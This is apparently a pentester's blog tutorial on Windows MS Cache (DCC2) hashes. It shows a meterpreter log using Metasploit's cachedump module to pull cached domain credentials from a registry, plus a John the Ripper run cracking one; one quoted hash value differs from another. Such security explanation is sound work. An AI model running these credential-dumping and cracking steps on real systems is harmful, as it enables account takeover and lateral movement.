MSCash Hash Primer for Pentesters
February 3, 2014 Leave a comment
Pass the hash is dead. Just kidding. Although Windows 8.1/2012R2 has some good improvements to help slow down lateral movement on a Windows network, pass the hash style attacks are still obviously a good way to spread out as a pentester/attacker. Here’s the scenario to keep in mind: you’re a local admin on a domain joined Server 2012R2 box and want to spread out.
Let me expand a little on why you’d ever want to look at MS Cache.
In our scenario above, first you might think mimikatz. LSASS is a protected process now, but that might not matter much. Mimikatz has a legitimately signed driver. Okay, this is great. But maybe the ops team has a rule looking for drivers being loaded and you don’t want to load a driver. Or worse, maybe everyone has logged off of the box and they’re only logging in with Network login. With 2008R2, credentials seemed to usually be cached in LSASS the next reboot, but this has changed in 2012R2. Now when users log out, their credentials are no longer cached (afaik). As an aside, this might be a good thing to keep in mind with disconnected RDP sessions since the users are still logged in.
Without touching LSASS, you can also use token impersonation to get a similar effect. But this still requires a user to be logged in to take their tokens. There are also some nice things about eventually getting a hash or cleartext password rather than a token. Like even if a token can be used on that domain, a cleartext hash allows you to check for password reuse (or look for password variants if you can get the cleartext).
There are a lot of ways to go even if nobody’s logged in. You could be a pirate, trigger AV and see if an ops user logs in interactively. You could setup an NTLM relayer to pass credentials of something, maybe the Qualys box. But one thing that’s often overlooked (at least by old me) is MS cache.
An Overview of MS Cache
The terminology can be confusing. Although the MS cache hash is a hash of the user’s password, it’s a distinct value from the user’s hash that you’d use to directly pass the hash. You can’t expect to forward it and for things to work. A good overview is on the jtr wiki here.
What happens when you are in front of a Windows machine, which has a domain account and you can’t access the domain (due to network outage or domain server shutdown)? Microsoft solved this problem by saving the hash(es) of the last user(s) that logged into the local machine. These hashes are stored in the Windows registry, by default the last 10 hashes.
The number of logins cached can be configured with group policy, as described here: http://technet.microsoft.com/en-us/library/jj852209.aspx. The passwords seem to be cached this way with any interactive login (not just local).
The algorithm for this is well understood. It’s PBKDF2(HMAC-SHA1, 10240, DCC1, username). Python has an implementation here
>>> from passlib.hash import msdcc2
>>> hash = msdcc2.encrypt("Password123", user="test2")
>>> print hash
'd7f91bcdec7c0df39396b4efc81123e4'
Anyway. The only source of entropy for these MS cache hashes is the username. To be clear, the salt does not include the domain, the computer, etc. This is better than a normal hash which does not include the username either, but it is still not great. To illustrate this concept:
# Machine: client1.rlundtest2.local // Server 2012R2 # User: test2 # password is Password123 # NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4 # NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71 # Machine: client2.differentdomain.local // Server 2008R2 # User: test2 # password is Password123 # NT MSCASH Hash: D7F91BCDEC7C0DF2929B4EFC81123E4 # NT Hash: 58A478135A93AC3BF058A5EA0E8FDB71 # Machine: client1.rlundtest2.local // Server 2012R2 # User: mopey # password is Password123 # NT MSCASH Hash: 9721A87936592047EEF768B9AE603757 # NT Hash: 58a478135a93ac3bf058a5ea0e8fdb71
With the normal NT hashes, the hash is always the same given a password (i.e. This is why pass the hash works across domains). With MS cache hashes it takes the username as entropy, but usernames aren’t random. If the “Administrator” account has the same password across domains, this MS cache hash is constant. Besides builtins like Administrator, this is also interesting in organizations that have several separate domains, but usernames are constant between them.
Another thing to hammer in again. The NT Hash seems to be cached in server2012R2 only when the user is logged in, and in server 2008R2 until the next reboot. But (if configured to cache things, like it does by default) the MSCache hash is stored in a registry hive and will persist across reboots.
Extracting and using the Cache hashes
These hashes are stored in an obfuscated way in the registry, and getting at them is comparable to getting at local SAM accounts. Cachedump is one tool, although the source code seems to 404. Quarkspwdump is another tool, use “QuarkspwDump.exe -dhdc”. Metasploit also has a post exploit module, cachedump, that does this.
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > background [*] Backgrounding session 1... msf exploit(psexec) > use post/windows/gather/cachedump msf post(cachedump) > show options Module options (post/windows/gather/cachedump): Name Current Setting Required Description ---- --------------- -------- ----------- DEBUG false yes Debugging output SESSION yes The session to run this module on. msf post(cachedump) > set SESSION 1 SESSION => 1 msf post(cachedump) > run [*] Executing module against CLIENT1 [*] Cached Credentials Setting: - (Max is 50 and 0 disables, and 10 is default) [*] Obtaining boot key... [*] Obtaining Lsa key... [*] Vista or above system [*] Obtaining LK$KM... [*] Dumping cached credentials... [*] Hash are in MSCACHE_VISTA format. (mscash2) [*] MSCACHE v2 saved in: /root/.msf4/loot/20140201152655_default_192.168.137.147_mscache2.creds_064400.txt [*] John the Ripper format: # mscash2 ... test2:$DCC2$#test2#d7f91bcdec7c0df39396b4efc81123e4:RLUNDTEST2.LOCALt:RLUNDTEST2
This theoretically is put in a format that john the ripper understands, but unfortunately John on Kali doesn’t seem to understand the format (it will run, but even with a wordlist the password doesn’t crack). For better luck, simply put it in “username:hash”
$ cat mscash.txt test2:d7f91bcdec7c0df39396b4efc81123e4 $ john --format=mscash2 ./mscash.txt Loaded 1 password hash (M$ Cache Hash 2 (DCC2) PBKDF2-HMAC-SHA-1 [128/128 SSE2 intrinsics 4x]) Password123 (test2) guesses: 1 time: 0:00:00:00 DONE (Mon Feb 3 09:03:34 2014) c/s: 14.28 trying: password - Password123 Use the "--show" option to display all of the cracked passwords reliably
Other crackers seem to support this format also, like hashcat (untested) and Cain.
Slowness (update)
I’ve seen some twitter activity around how this is “new pass the hash on windows 8.1”. This isn’t the case, although I do poke fun at the “pass the hash is dead” stuff. When I first published this, I should have expanded on how slow this cracking can be. JTR wiki says
The far from optimized MSCash2 algorithm provided in the sample code below and used in the corresponding MSCash2 JtR patch generates about 330 DCC2 hashes/sec (MSCash2) on an Intel Core2 Quad CPU Q6700, compared to 58.8 millon DCC1 hashes/sec (MSCash). In other words, incremental brute-force attacking for different search spaces, depending on the character set and the password length, will take ages. So it is a good idea to do some intelligent password guessing when attacking DCC2 hashes, i.e. rule-based dictionary and probabilistic attacks.
By default a lot of these could also be pre computed and put into rainbow tables. Although the iteration count is apparently configurable and could make this not practical.
</update>
The end, thanks for reading! Are greetz still a thing? Thanks to my friend Dave for help on this.
WebstersProdigy 